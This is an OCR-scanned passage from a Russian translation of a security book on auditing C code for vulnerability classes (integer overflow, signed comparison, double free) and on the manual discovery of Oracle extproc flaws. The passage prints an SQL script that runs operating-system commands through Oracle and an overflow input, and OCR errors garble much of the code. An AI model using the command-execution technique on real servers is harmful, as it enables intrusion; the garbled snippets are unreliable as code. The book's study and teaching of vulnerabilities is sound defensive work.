пропуска за- иершающсто пулевого байта и продолжения обработки дальше в памяти. Если после пропуска нулевого байта произойдет операция записи, появляется потенциальная возможность порчи содержимого памяти и выполнения постороннего кода. Такие уязвимости обычно возникают в циклах, где строка обрабатывается мо одному символу пли делаются допущения относительно длины строки. Следующий фрагмент до недавнего времени присутствовал в модуле mod_rewrite Apache: else if (is_absolute_un(r->filename)) { /* Пропустить 'scheme ' */ for (cp = r->filename, *cp '= ' ' && *cp '= '\0\ cp++) /* Пропустить '//'*/ cp += 3.
252 Глава 13. Анализ исходных текстов на языках семейства С Здесь is_absoLute_uri делает следующее: int i = strlen(uri); if ( (i > 7 && strncasecmp(un 1 (l > 8 && strncasecmp(uri (i > 9 && strncasecmp(uri 0 > 6 && strncasecmp(un (i > 5 && strncasecmp(un (i > 5 && strncasecmp(un (i > 7 && strncasecmp(uri return 1, else { return 0. "http //", "https //". "gopher.//" "ftp-//". "ldap://". "news-//", "mailto-//" 7) == 0) 8) == 0) . 9) == 0) 6) « 0) 5) == 0) 5) == 0) . 7) == 0) ) { } Проблема кроется в команде: с+=3; В этой команде код обработки пытается обойти конструкцию :// в URI. Тем не! менее, обратите внимание, что внутри is_absolute_uri не все схемы URI заверши-1 ются символами ://. При запросе URI вида ldap:a программа пропустит нулевой завершающий байт. Дальнейшая обработка URI приведет к записи нулевого байта, в результате чего возникнет потенциальная уязвимость. В данном случае для этого должны быть установлены некоторые правила перезаписи, но подобные проблемы все еще часто встречаются в программах с открытыми исходными текстами, и поэтому им следует уделять внимание в процессе анализа. Уязвимости знакового сравнения Многие программисты пытаются проверять длину вводимых пользователем данных, но при наличии знаковых спецификаторов проверка часто осуществляется неверно. Многие спецификаторы длины (такие, как size_t) являются беззнаковыми, и им не присущи проблемы знаковых спецификаторов вроде off_t В ходе сравнения двух знаковых целых чисел при проверке длины можно упустить возможность того, что одно из чисел отрицательно, особенно при сравнении с константой. Правила сравнения разнотипных целых чисел не всегда очевидны по поведению откомпилированного кода. Согласно стандарту ISO для языка С, при сравнении двух целых разного типа или размера они предварительно преобразуются к знаковому типу int, а затем сравниваются. Если какое-либо из целых превышает по размеру знаковый тип int, оба числа преобразуются к большему типу, а затем сравниваются. При сравнении беззнакового и знакового чисел беззнаковый тип обладает большим приоритетом. Например, следующее сравнение будет беззнаковым: if((int)left < (unsigned int)nght) С другой стороны, следующее сравнение выполняется как знаковое: if((int)left < 256) Некоторые операторы (такие, как sizeof()) являются беззнаковыми. Показанное ниже сравнение выполняется как беззнаковое, несмотря на то, что результат оператора sizeof являемся константой: if((inU left < sizeof(buf))
Классы уязвимостей 253 ()дпако следующее сравнение является знаковым, потому что оба коротких целых перед сравнением преобразуются в знаковые: if ((unsigned short)a < (short)b) И большинстве случаев, особенно при использовании 32-разрядных целых, для обхода проверки размеров необходима возможность напрямую задать целое число. Например, на практике невозможно заставить функцию strlen() вернуть .шачение, которое может быть преобразовано в отрицательное число, но если целое напрямую читается из пакета, часто удается сделать его отрицательным. Знаковые сравнения лежат в основе уязвимости Apache, обнаруженной в 2002 г. Причина кроется в следующем фрагменте: len_to_read = (r->remaining > bufsiz) ? bufsiz r->remaining, len_read = ap_bread(r->connection->client, buffer. len_to_read), Мдесь bufsiz — знаковое целое число, определяющее объем свободного места м буфере, a r->remaining — знаковое число типа off_t, определяющее размер фрагмента и читаемое непосредственно из запроса. Предполагается, что переменной len_to_read будет присвоено наименьшее значение из bufsiz и r->remaining, но если размер фрагмента отрицателен, эту проверку удается обойти. При передаче отрицательного размера фрагмента ap_bread значение преобразуется в очень большое положительное число, и происходит очень большая операция memcpy. Дефект просто и очевидно эксплуатировался в Win32 посредством замены SEH, а группа Gobbles Security Group доказала, что он также может использоваться в BSD из-за ошибки в реализации memcpy. .Дефекты этого типа продолжают встречаться и в современных программах. Пудьте внимательны везде, где знаковые целые числа используются в качестве спецификаторов длины. Целочисленное переполнение Похоже, термин «целочисленные переполнения» вошел в моду. Сейчас им час- 10 обозначают широкий круг уязвимостей, многие из которых не имеют отношения к «настоящему» целочисленному переполнению. Первое четкое определение целочисленного переполнения было дано в докладе «Профессиональный анализ исходного кода» на конференции BlackHat USA в 2002 г., хотя эта проблема и ранее была известна и описана специалистами в области безопасности. Целочисленное переполнение происходит тогда, когда целое число превышает свое максимальное допустимое значение или падает ниже минимума. Максимальное и минимальное значения целого числа зависят от его типа п размера. 16-разрядное целое со знаком имеет максимальное значение 32 767 @x7fff) п минимальное значение -32 768 (-0x8000). 32-разрядное целое без знака имеет максимальное значение 4 294 967 295 (Oxffffffff) и минимальное значение 0. Если 16-разрядное целое со знаком, равное 32 767, будет увеличено на 1, оно и результате целочисленного переполнения становится равным -32 768.
254 Глава 13. Анализ исходных текстов на языках сезмейства С Целочисленное переполнение может пригодиться для обхода проверки размер ров или для выделения буферов, размер которых заведомо недостаточен для хранения копируемых в них данных. К категории целочисленного переполнен ния в общем случае относятся переполнение сложения/вычитания и переиол* нение умножения. Переполнение сложения/вычитания возникает при сложении или вычитании двух величин, в результате которого результат выходит за верхнюю или ниж« пюю границу целого типа. Например, следующий код создает потенциальную опасность целочисленного переполнения: char *buf. int allocation_size = attacker_defined_size + 16. buf = malloc(allocat"ion_size); memcpy(buf.i nput.attacker_defined_size); Если значение переменной attacker_defined_size лежит в диапазоне от -16 до -1, сложение вызовет целочисленное переполнение, и буфер, выделенный в резуль-, тате вызова malloc(), окажется слишком мал для данных, копируемых вызовом memcpy(). Подобный код очень часто встречается в приложениях, распространяемых с открытыми исходными текстами. Эксплуатация подобных уязвимо- стей сопряжена с некоторыми трудностями, и все же такие дефекты суще- ству- ют. Переполнение вычитания обычно возникает тогда, когда в программе предполагается некоторый минимальный размер вводимой пользователем величины. Так, в следующем фрагменте существует угроза целочисленного переполнения: #define HEADER_SIZE 16 char data[1024].*dest. int n, n = read(sock.data,sizeof(data)), dest = malloc(n), memcpy(dest,data+HEADER_SIZE,л - HEADER_SIZE), В этом примере целочисленное переполнение произойдет, если размер прочитанных из сети данных меньше предполагаемого минимального размера (HEADER^ SIZE). Переполнение умножения возникает при умножении двух величин, результат которого превышает максимальное допустимое значение целого типа. Уязвимости этого типа были обнаружены в OpenSSH и библиотеке Sun RPC в 2002 г. Следующий фрагмент OpenSSH (до версии 3.4) является типичным примером переполнения умножения. nresp = packet_get_int(). if (nresp > 0) { response = xmalloc(nresp * sizeof(char*)), for (i = 0, i < nresp. i++) response[i] = packct_get_strmg(NULL). Здесь nresp представляет собой целое число, полученное непосредственно из SSH-naKCia. Оно умножается па размер указателя на символ (в данном слу-
Классы уязвимости 255 час А), и программа выделяет приемный буфер соответствующего размера. I'C/iii значение nresp превышает 0x3fffffff, результат умножения выходит за верхнюю границу беззнакового целого, и происходит переполнение. Появляется возможность выделить очень маленький блок памяти и скопировать в него (юлыпое количество указателей на символы. Интересно заметить, что эта уязвимость могла реально эксплуатироваться в OpenBSD как раз из-за более защищенной реализации кучи, когда управляющие структуры не хранятся в самом куче. В реализациях кучи со встроенными управляющими структурами запись указателей ведет к сбоям при последующих попытках выделения памя- ш (как в packet_get_stnng). Целые числа меньшей разрядности в большей степени подвержены угрозе переполнения; для 16-разрядных целых типов целочисленное переполнение может быть вызвано стандартными функциями вроде strlen(). В частности, этот inn целочисленного переполнения имел место в функции RtlDosPathNameToNt- l)athName_U, ставшей причиной уязвимости IIS WebDAV, описанной в Micro- soil Security Bulletin MS03-007. Дефекты целочисленного переполнения по-прежнему актуальны и часто встречаются на практике. Хотя многие программисты знают о потенциальных дефектах строковых операций, они хуже представляют себе риски, возникающие при манипуляциях целыми числами. Вероятно, эти уязвимости будут встречаться в программах еще много лет. Преобразование целых чисел с разной разрядностью Преобразования между целыми числами разного размера порой приводят к интересным и неожиданным результатам. Такие преобразования могут быть небезопасными, если программист не продумает их последствия; встретив соответствующие команды в исходном коде, следует тщательно изучить их. Преобразования могут привести к усечению данных, смене знака или его распространению внутри числа. Иногда при этом возникают дефекты, которые можно реально эксплуатировать. Преобразование большего целого типа к меньшему (скажем, 32-разрядного к 16-разрядному, или 16-разрядного к 8-разрядному) может привести к усечению или смене знака. Скажем, если знаковое 32-разрядное целое с отрицательным значением -65 535 преобразуется в 16-разрядное целое, то результат окажется равным +1 из-за усечения старших 16 бит. Преобразования меньших целых типов к большим могут приводить к распространению знака в зависимости от исходного и приемного типов. Скажем, при преобразовании знакового 16-разрядного целого со значением --1 к 32-разядно- му целому без знака будет получен результат 4 Гбайт минус 1. В табл. 13.1 описаны последствия разных преобразований целочисленных типов. Представленная информация проверена для последних версий gcc.
256 Глава 13. Анализ исходных текстов на языках семейства С Таблица 13.1. Преобразования целочисленных типов Исходный Исходное тип/размер значение 16-разрядный со знаком — 1 (Oxffff) 16-разрядный со знаком -1 (Oxffff) 16-разрядный без знака 65535 (Oxffff) 16-разрядный без знака 65535 (Oxffff) 32-разрядный со знаком -1 (Oxffffffff) 32-разрядный со знаком -1 (Oxffffffff) 32-разрядный без знака 32768 @x8000) 32-разрядный без знака 32768 @x8000) 32-разрядный со знаком -40960 (Oxffff6000) Итоговый Итоговое тип/размер значение 32-разрядный без знака 4294967295 (Oxffffffff) 32-разрядный со знаком -1 (Oxffffffff) 32-разрядный без знака 65535 (Oxffff) 32-разрядный со знаком 65535 (Oxffff) 16-разрядный без знака 65535 (Oxffff) 16-разрядный со знаком -1 (Oxffff) 16-разрядный без знака 32768 @x8000) 16-разрядный со знаком -32768 @x8000) 16-разрядный со знаком 24576 @x6000) Будем надеяться, что таблица поможет разобраться в тонкостях преобразова-! ний целых разных типов. Хорошим примером служит уязвимость, недавно об-1 наруженная в функции prescan программы Sendmail. Знаковый символ (8 разрядов) читался из входного буфера и преобразовывался в 32-разрядное число; со знаком. Происходило расширение знака до 32-разрядного значения -1, которое интерпретировалось как признак специальной ситуации N0CHAR. В результате в процедуре проверки ошибок происходил сбой, и появлялась возможность удаленного использования переполнения буфера. Откровенно говоря, преобразования целых чисел разного размера довольно сложны. Если недостаточно глубоко продумать суть таких преобразований, они часто становятся источником ошибок. Кстати говоря, в современных приложениях не так уж много реальных причин для использования целых чисел разного размера; но если такие причины все же существуют, внимательно проанализируйте код преобразования. Повторное освобождение памяти Хотя ошибка повторного освобождения одного и того же блока памяти на первый взгляд кажется вполне безопасной, она может привести к порче содержимого памяти и выполнению произвольного кода. Некоторые реализации кучи полностью или хорошо защищены от таких дефектов, поэтому их практическое применение возможно не па всех платформах. Как правило, программисты не делают подобных ошибок и не пытаются освобождать локальную переменную дважды (хотя мы сталкивались с такими примерами). Уязвимости повторного освобождения чаще всего встречаются тогда, когда буферы в куче хранятся в указателях с глобальной видимостью. Многие приложения при освобождении глобального указателя присваивают ему значение NULL, чтобы предотвратить его повторное использование. Если приложение не делает чего-нибудь в этом роде, желательно начать поиски мест, в которых фрагмент памяти может освобождаться дважды. Такие уязвимости также ветре-
Классы уязвимостей 257 чпкпся в коде на C++ при освобождении экземпляра класса, некоторые члены мнорого уже были освобождены. Недавно в zlib была обнаружена уязвимость, в которой некоторая ошибка и процессе разархивации приводила к двукратному освобождению глобальной переменной. Кроме того, недавняя уязвимость CVS-сервера также была резуль- i in ом повторного освобождения. Использование памяти вне области видимости 11екоторые фрагменты памяти в приложении имеют область видимости, а также срок жизни, в течение которого они являются действительными. Любое использование этих фрагментов до того, как они станут действительными, или после того, как они станут недействительными, рискованно. Потенциальный результат — порча памяти, приводящая к выполнению произвольного кода. Использование неинициализированных переменных Хотя случаи использования неинициализированных переменных в программах попадаются относительно редко, иногда это все же случается, и тогда в приложениях могут возникнуть реально эксплуатируемые дефекты. Статическая память (в частности, секции .data и .bss) инициализируется нулями при запуске программы. Для переменных в стеке и куче гарантия такой инициализации отсутствует, поэтому для устойчивой работы программы они должны специально инициализироваться перед первой операцией чтения. Содержимое неинициализированной переменной по своей сути является неопределенным. Тем не менее, можно точно предсказать, какие данные будут содержаться в неинициализированной области памяти. Например, неинициализированная стековая переменная будет содержать данные, оставшиеся от предыдущих вызовов функций. В пей могут оказаться данные аргументов, сохраненные регистры или локальные переменные от предыдущих вызовов, в зависимости от ее местонахождения в стеке. Если благодаря везению нападающему удастся взять иод контроль нужную область памяти, часто открывается возможность эксплуатации таких уязвимостей. Уязвимости неинициализированных переменных встречаются редко, потому что обычно ведут к немедленному аварийному завершению программы. Как правило, их можно встретить в редко выполняемом коде, скажем, в блоках, управление которым передастся в результате маловероятных ошибок. Многие компьютеры пытаются выявить случаи обращения к неинициализированным неременным. В Microsoft Visual C++ предусмотрена логика выявления подобных состояний; то же делает и gec, но пи один компилятор не справляется с этой работой идеально. Следовательно, ответственность возлагается в первую очередь на разработчика, которому не следует допускать таких ошибок.
258 Глава 13. Анализ исходных текстов на языках семойсшп С В следующем гипотетическом примере продемонстрирован упрощенный случай использования неинициализированной переменной: int vuln_fn(char *data, int some_int) { char *test, if(data) { test = malloc(strlen(data) + 1); strcpy(test.data); some_function(test), } if(some_int < 0) { free(test). return -1, } free(test); return 0. } Если аргумент data содержит null, то указатель test оказывается неинициализированным. Он продолжает оставаться в этом состоянии до конца функции, когда для него вызывается функция free. Обратите внимание: ни gcc, ни Visual C++ во время компиляции не предупреждают программиста об этой ошибке. Хотя такой тип уязвимостей неплохо поддается автоматическому обнаружению, дефекты использования неинициализированных переменных все еще встречаются в приложениях (например, дефект, обнаруженный Стефаном Эс- сером в РНР в 2002 г.). Несмотря на относительную редкость, эти дефекты бывают довольно неочевидными, и могут оставаться незамеченными в течение многих лет. Использование памяти после освобождения Буферы в куче остаются действительными, начиная с момента выделения и до момента освобождения памяти вызовом free или realloc с нулевым размером. Любые попытки записи в буфер в куче после его освобождения приводят к порче содержимого памяти и открывают возможность выполнения постороннего кода. Уязвимости использования памяти после освобождения чаще всего встречаются тогда, когда программа освобождает один из нескольких существующих указателей на буфер. Подобные уязвимости вызывают непредвиденное повреждение кучи и обычно ликвидируются в процессе разработки. Как правило, они попадают в окончательную версию приложения лишь в редко выполняемых блоках кода. Примером может послужить уязвимость в функции psprintf программы Apache 2, опубликованная в мае 2003 года — программа случайно освобождала активный блок памяти, а затем передавала его функции выделения памяти Apache, которая являлась аналогом та Нос.
Дефекты и реальные уязвимости 259 Проблемы многопоточности и реентерабельности Приложения с открытыми исходными текстами в большинстве не являются мпогопоточными. С другой стороны, в немногочисленных многопоточных приложениях не всегда реализованы необходимые меры предосторожности. Любой мпогопоточный код, в котором разные программные потоки без блокировки работают с одними и теми же глобальными переменными, создает потенциальную угрозу для безопасности. Обычно такие дефекты обнаруживаются лишь после юго, как приложение начинает эксплуатироваться под интенсивной нагрузкой, ;i иногда вообще остаются незамеченными или относятся к категории перемежающихся сбоев, которые не удается подтвердить. Как указал Михал Залевски (Michal Zalewski) в статье «Problems with Msk- !emp()» (август 2002), передача сигналов в Unix может привести к остановке программы, при которой глобальные переменные оказываются в неожиданном состоянии. Если в обработчиках сигналов используются библиотечные функции, небезопасные в плане реентерабельности, это может привести к порче памяти. Хотя у многих функций существуют версии, безопасные в отношении и программных потоков, и реентерабельности, используются они не всегда. При поиске таких уязвимостей необходимо представлять себе, что происходит при доступе со стороны нескольких потоков. Очень важно понимать, как работают базовые библиотечные функции, потому что проблемы могут крыться именно п них. Если помнить об этом, выявление дефектов многопоточности окажется не такой уж и сложной задачей. Дефекты и реальные уязвимости Довольно часто в программе выявляются ошибки, которые не становятся причиной реальной уязвимости. Прежде чем предпринимать какие-либо дальнейшие действия, аналитик должен оценить область видимости и возможность использования ошибки. Хотя серьезность дефекта в полной мере подтверждается лишь в случае его успешной эксплуатации, значительную долю «черной работы» в области безопасности удается выполнить простым анализом исходного кода. Иногда бывает полезно «вернуться назад» от точки уязвимости и определить, что должно произойти для «срабатывания» уязвимости. Убедитесь в том, что уязвимость действительно оказывается в активном коде, а все необходимые переменные находятся под контролем у нападающего; проворы с, что в предшествующем коде действительно не выполняется никаких простых проверок, полностью исключающих возможность эксплуатации уязвимости. Часто приходится просматривать конфигурационные файлы, распространяемые вместе с программой, чтобы определить, какие необязательные функции по умолчанию включены, а какие отключены. Такие простые проверки часто экономят время и избавляют от разочарований, связанных с длительным написанием кода, предназначенного для эксплуатации дефектов, реальная эксплуатация которых оказывается невозможной.
260 Глава 13. Анализ исходных текстов на языках семейспш С Итоги Анализ уязвимостеи в некоторых случаях оказывается трудным и малоинтерсчЧ ным занятием, в то время как в других случаях он может доставлять радост^ Вам как аналитику придется искать нечто такое, что может и не существовать^ и только решительность и убежденность помогут найти что-то действительна стоящее. Конечно, везение тоже имеет право на жизнь, но к результату обычнд ведет только последовательный анализ с многочасовыми экспериментами и чте1 нием документации. Тем не менее, мы уже неоднократно убеждались, что реальные уязвимости обязательно присутствуют в любом сколько-нибудь сложном программном пакете.
ГЛАВА 14 Инструментальный анализ После всех разговоров о фаззинге может возникнуть впечатление, что в мире современного «охотника за ошибками» не осталось места для ручной работы. .' )та глава написана для того, чтобы доказать ошибочность такого впечатления; инструментальные методы живы и процветают. Мы начнем с философии этой методики, а затем рассмотрим практические примеры. Попутно изучим проблему общей проверки вводимых данных и некоторые интересные способы ее обхода (так как процедуры проверки вводимых данных часто мешают анализу). Глубокое понимание этой темы помогает повысить эффективность атак, а также усовершенствовать методику защиты. Философия В основу инструментального анализа заложена идея упрощения. Аналитик мысленно упрощает систему, что позволяет ему сосредоточиться на структуре и поведении системы в контексте ее безопасности, а не следовать по проторенному пути, определяемому документацией или исходными текстами. Здесь речь идет скорее о подходе, нежели о конкретной методике, хотя от вас потребуются определенные базовые навыки. Авторам приходилось сталкиваться с обнаружением дефектов, которые разработчики считали «совершенно нереальными» только из-за того, что ошибки были либо слишком очевидными, либо искусно маскировались в исходных текстах (например, в сложных определениях макросов на С), либо при написании кода никто из разработчиков не подумал о возможности взаимодействия между компонентами системы. Иногда бывает полезно, фигурально выражаясь, отбросить книгу правил — это освобождает от условностей. В общем виде наш подход выглядит примерно так: о Попытайтесь разобраться в системе, не обращаясь к документации и исходным текстам. о Исследуйте вероятные местонахождения уязвимостей. В процессе анализа используйте системные средства трассировки, чтобы больше узнать о режимах работы системы и о точках переключения этих режимов (кстати, эти точки не всегда очевидны).
262 Глава 14. Инструментальный анализ о Попробуйте применить стандартные варианты атак pi пронаблюдайте за реакцией системы. о Продолжайте, пока не будут опробованы все режимы работы. Вероятно, лучше пояснить сказанное конкретным примером. Переполнение процесса extproc в Oracle Информация о переполнении процесса extproc опубликована по адресу http:// otn.oracle.com/deploy/security/pdf/2003alert57.pdf. Соответствующие рекомендации NGS (Next Generation Software) можно найти по адресу www.nextgenss.com/advisories/ ora-extproc.txt. В сентябре 2002 г. группа Next Generation Software провела тщательное исследование реляционной СУБД Oracle с целью поиска дефектов безопасности, поскольку, по мнению авторов, сообщество специалистов в области безопасности не уделяло Oracle должного внимания. Дэвид Личфилд (David Litchfield) когда-то обнаружил дефект в механизме extproc, поэтому мы решили более тщательно проанализировать эту область. Важно понять, как описанные далее архитектурные подробности связаны с обстоятельствами обнаружения первого дефекта. Практически все современные СУБД поддерживают тот или иной диалект языка SQL (Structured Query Language), позволяющий создавать более сложные сценарии и даже определять пользовательские процедуры. В SQL Server этот диалект называется Transact-SQL и позволяет создавать такие конструкции, как циклы WHILE, команды IF и т. д. Кроме того, SQL Server дает возможность напрямую взаимодействовать с операционной системой через интерфейс, который был назван компанией Microsoft «расширенными хранимыми процедурами» — речь идет о пользовательских функциях, написанных на C/C++ и реализованных в виде DLL. С течением времени в расширенных хранимых процедурах SQL Server были обнаружены многочисленные возможности переполнения буферов, поэтому было бы логично предположить, что эта проблема будет присутствовать и в аналогичных механизмах других СУБД. Механизм внешнего взаимодействия, реализованный в Oracle, значительно превосходит механизм расширенных хранимых процедур SQL Server: on позволяет вызывать произвольные библиотечные функции (а не только функции, соответствующие некой заранее определенной спецификации). В Oracle обращения к внешним библиотекам называются внешними процедурами (external procedures) и осуществляются во вторичном процессе extproc. Подключение к extproc выполняется примерно так же, как и подключение к основному процессу базы данных. Еще одно важное понятие — протокол TNS (Transparent Network Substrate), который является частью архитектуры, управляющей взаимодействием процесса Oracle с клиентами и другими частями системы. TNS представляет собой текстовый протокол с двоичным заголовком. Он поддерживает большое количест-
Переполнение процесса extproc в Oracle 263 мо разных команд, но его основным предназначением является запуск, остановка п выполнение иных управляющих функций Oracle. Мосле рассмотрения механизма extproc было решено провести инструментальный анализ, чтобы разобраться в его работе. При анализе использовалась версия Oracle для платформы Windows, поэтому мы установили контрольные точки во всех стандартных функциях сокетов процесса Oracle — connect, accept, recv, recvfrom, readfile, writefile и т. д., после чего провели ряд пробных вызовов ииешних процедур. Дэвид Личфилд обнаружил, что при вызове внешней процедуры Oracle использует серию TNS-вызовов, за которыми следуют команды простого протокола вызова. В этом протоколе совершенно отсутствуют средства аутентификации; процесс extproc просто предполагает, что на другом конце подключения находится именно Oracle. Таким образом, если нападающий сможет заставить extproc вызвать библиотечную функцию но своему выбору, он легко прорвет защиту сервера, например, вызовом функции system в libc или msvcrt.dll в Windows. Существует ряд смягчающих обстоятельств, но в стандартной установке (до того как было выпущено исправление к этой ошибке) дело обстояло именно гак. Мы передали информацию в Oracle и приняли участие в разработке исправления. Соответствующее предупреждение Oracle опубликовано по адресу http:// otn.oracle.com/depLoy/security/pdf/plsextproc_alert.pdf, а рекомендации Дэвида Лич- филда — по адресу www.nextgenss.com/advisories/oraplsextproc.txt. Поскольку данный аспект поведения Oracle исключительно важен для безопасности системы, мы решили снова проанализировать все, что связано с вызовом внешних процедур, и посмотреть, не удастся ли найти что-нибудь еще. Реализация вызова, о котором упоминалось ранее, достаточно проста — чтобы получить список TNS-команд, включите режим отладки Oracle и выполните следующий сценарий (из превосходной статьи Дэвида «HackProofing Oracle Application Server», которую можно найти но адресу www.nextgenss.com/papers/ hpoas.pdf): Rem Rem oracmd sql Rem Rem Выполнение системных команд с использованием сервера базы данных Oracle Rem Rem 00 ошибках просьба сообщать по адресу david@ngssoftware com Rem CREATE OR REPLACE LIBRARY exec_shell AS 'C \winnt\system32\msvcrt dll', / show errors CREATE OR REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR). end oracmd. / show errors CREATE OR REPLACE PACKAGE BODY oracmd IS PROCEDURE execCcmdstring IN CHAR)
264 Глава 14. Инструмомгальный анализ IS EXTERNAL NAME "system" LIBRARY exec_shell LANGUAGE C; end oracmd, / show errors Затем выполняется процедура exec oracmd exec Cdir > c\oracle.txt'), Сначала мы попытались выполнять обычные операции в команде create or replace library, вручную подставляя запросы и наблюдая за происходящим (в отладчике и FileMon). Но затем мы подставили слишком длинное имя библиотеки: CREATE OR REPLACE LIBRARY extjib IS 'AAAAAAAAAAAAAAAAAAAA ..', После чего вызвали для него функцию: CREATE or replace FUNCTION get_valzz RETURN varchar AS LANGUAGE С NAME "c_get_val" LIBRARY extjib: select get_valzz from dual: Произошло нечто странное — сброс подключения, что обычно свидетельствует о некотором исключении. Странно было то, что это произошло не в процессе Oracle, а где-то в другом месте. После непродолжительного анализа в FileMon мы решили отладить процесс Inslsnr (TNS Listener), который обрабатывает протокол TNS и является посредником между Oracle и extproc при вызове внешних процедур. Поскольку процесс tnslsnr запускает extproc, был использован отладчик WinDbg, обеспечивающий простую трассировку дочерних процессов. Необходимая последовательность действий оказалась довольно хитроумной: 1. Остановить все службы Oracle. 2. Запустить службу базы данных Oracle (,OracleService<xocT>'). 3. В сеансе командной строки на интерактивном рабочем столе выполнить команду: windbg -о tnslsnr exe WinDbg отлаживает TNS Listener и все процессы, запущенные TNS Listener. Процесс TNS Listener работает на интерактивном рабочем столе. Конечно, после этого мы сразу же увидели искомое исключение в WinDbg: First chance exceptions are reported before any exception handling This exception may be expected and handled eax=00000001 ebx=00ec0480 ecx=00010101 edx=ffffffff esi=00ebbfec edi=00ec04f8 eip=41414141 esp=0012ea74 ebp=41414141 iopl=0 nv up ei pl zr na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 41414141 V ???
Типичные архитектурные дефекты 265 ll.i листинга видно, что в extproc.exe имело место классическое переполнение пека. Тестирование показало, что проблема проявлялась не только на платформе Windows. Как выяснилось, данная уязвимость появилась в результате исправления пре- /I идущей ошибки — добавленная функция регистрации запроса на выполнение внешней процедуры оказалась уязвимой для переполнения. Подведем итоги процесса, приведшего к выявлению этих двух ошибок: «^ Мы располагали информацией о вероятных архитектурных слабостях (наличие сведений о проблемах в аналогичной системе SQL Server). На основании этой информации было сделано предположение, что сходные ошибки могут существовать и в Oracle, так как безопасная реализация вызова хранимых процедур — дело весьма непростое. о В результате тщательного исследования и трассировки поведения Oracle была выявлена возможность выполнения внешних процедур без аутентификации — ошибка помер один. о Вернувшись к этой области, мы обнаружили, что при использовании слишком длинных имен библиотек происходит нечто странное (после выхода «заплатки» к первому дефекту extproc). о Исследования с применением отладчиков и средств файлового мониторинга (превосходная утилита FileMon Руссиновича и Когсвелла) позволили выявить уязвимые компоненты. о В результате отладки компонентов было найдено исключение, свидетельствующее о переполнении стека — ошибка номер два. Ни на одной из стадий анализа не применялись средства автоматизации; весь процесс был основан на тщательном изучении тестируемой системы. При этом мы полностью игнорировали документацию и пытались попять логику работы системы в контексте сведений, полученных в результате сбора информации. Напоследок стоит заметить, что компания Oracle опубликовала подробную информацию по обоим дефектам, а также выпустила «заплатку», полностью решившую обе проблемы. Типичные архитектурные дефекты Как мы убедились в предыдущем примере, в похожих системах часто встречаются похожие ошибки. Когда в течение нескольких лет приходится ежедневно читать статьи с информацией о дефектах безопасности, невольно начинаешь замечать закономерности и использовать их в собственных исследованиях. Давайте попробуем осмыслить эти закономерности, потому что в них можно почерпнуть идеи для дальнейших исследований. Пограничные проблемы Как правило, проблемы с безопасностью случаются в разного рода переходах: между разными процессами, между разными технологиями, между разными интерфейсами. Далее приводятся некоторые примеры.
266 Глава 14. Инструмотальный анализ Процесс обращается к внешнему процессу на том же хосте Хорошими примерами служат уже упоминавшийся дефект Oracle и проблема перехвата именованных каналов, обнаруженная Андреасом Джунстамом (Andreas Junestam) и описанная в Microsoft Bulletin MS03-031. Чтобы увидеть ряд интересных возможностей расширения привилегий, воспользуйтесь утилитой HandleEx (с сайта Sysinternals) и проследите за разрешениями глобальных объектов Windows (таких, как общие секции памяти). Многие приложения не защищены от локальных атак. Для Unix характерен целый ворох проблем, связанных с синтаксическим разбором параметров командной строки при обращении к внешнему процессу для выполнения некоторой функции. Еще раз стоит напомнить, что для проведения анализа очень важен правильный подбор инструментов. Вероятно, в данной области лучше всего подойдет программа ltrace. Процесс обращается к внешней библиотеке динамической компоновки Примеры также встречаются в Oracle и SQL Server — это и исходный дефект процесса extproc, обнаруженный Дэвидом Личфилдом (Oracle, предупреждение 29), и целый ряд вариантов переполнения в хранимых процедурах, выявленных в SQL Server. Многочисленные примеры также встречаются в фильтрах ISAPI сервера Microsoft IIS, включая компонент Commerce Server, фильтр ISM.DLL, фильтр SQLXML, фильтр ISAPI .printer и многие другие. Одна из причин, по которым возникают проблемы, заключается в том, что аналитики тратят все время на проверку базового режима работы сетевого демона, но забывают о возможных расширениях. Впрочем, IIS-сервер не одинок. В качестве примера можно указать на ошибку смещения на единицу в модуле mod_ssl Apache, а также в модулях mod_mylo, mod_cookies, mod_frontpage, mod_ntlm, mod_auth_any, mod_access_referer, modjk, mod_php и mod_dav. При проведении анализа незнакомой системы «уязвимые места» обычно стоит искать именно в этой функциональной области. Процесс вызывает функцию на удаленном хосте Еще одна «зона риска», хотя разработчики обычно лучше понимаю г связанные с нею опасности. Дефект DCOM-RPC (MS03-26) доказывает, что проблемы такого рода продолжают существовать. К этой категории относится большинство дефектов RPC, включая Sim UDP PRC DOS, переполнение Locator Service, многочисленные переполнения Microsoft Exchange, обнаруженные Дэвидом Ап- телом, и старый дефект форматной строки statd, обнаруженный Дэниелом Джсй- кобовитцем (Daniel Jacobowitz).
Типичные архитектурные дефекты 267 Проблемы преобразования данных Когда данные преобразуются из одной формы в другую, часто удается обойти некоторые процедуры проверки. В действительности речь идет о фундамен- 1алыюй проблеме, связанной с преобразованием грамматик. Обилие проблем 1лкого рода (часто называемых ошибками приведения к каноническому виду) объясняется исключительной сложностью создания систем, в которых запутанность грамматик программных интерфейсов уменьшалась бы при продвижении вниз по иерархии вызовов. С формальных позиций это можно объяснить так: функция f() реализует множество режимов работы F. Для этого f() вызывает функцию д() и передает ей часть своих входных данных. Функция g реализует множество режимов рабо- 1ы G. К сожалению, во множество режимов работы G входят некоторые режимы, доступ к которым через f() был бы нежелателен. Назовем множество таких режимов Gbad. Следовательно, функция f() должна реализовать некоторый механизм, который бы гарантировал, что множество F не содержит пи одного элемента Gbad. Разработчик функции f() может сделать это только одним способом: он должен полностью понять всю структуру G, организовать проверку всех входных данных f() и убедиться в том, что ни одна комбинация входных данных не приводит к элементам Gbad. Проблема возникает по двум причинам: о Спуск по иерархии вызовов почти всегда приводит к усложнению функциональности, поэтому в f() приходится учитывать слишком много случаев. о Аналогичная проблема возникает в д(), а также в h(), i(), j() и т. д. по иерархии вызовов. Для примера возьмем файловые системные функции Win32. Допустим, имеется программа, которой передается имя файла. Если программа поддерживает концепцию имени файла, она предполагает следующее: о Имя файла может заканчиваться расширением. Расширение обычно (но не всегда) имеет длину в 3 символа, а признаком его завершения является точка (.)• о Имя файла может быть полным. В этом случае оно начинается с буквенного обозначения диска, за которым следует двоеточие (:). о Относительные имена файлов содержа! символы обратного слеша (\). о Каждый символ o6pai ного слеша обозначает переход к каталогу следующего уровня. С точки зрения программы все перечисленные положения определяют грамматику имен файлов. К сожалению, грамматика, реализованная файловыми функциями операционной системы (такими, как функция CreateFiLe интерфейса Win32 API), включае1 немало потенциально опасных конструкций. Перечислим лишь нскоюрые из них (список не являемся полным): о Имя файла можем начинаться с 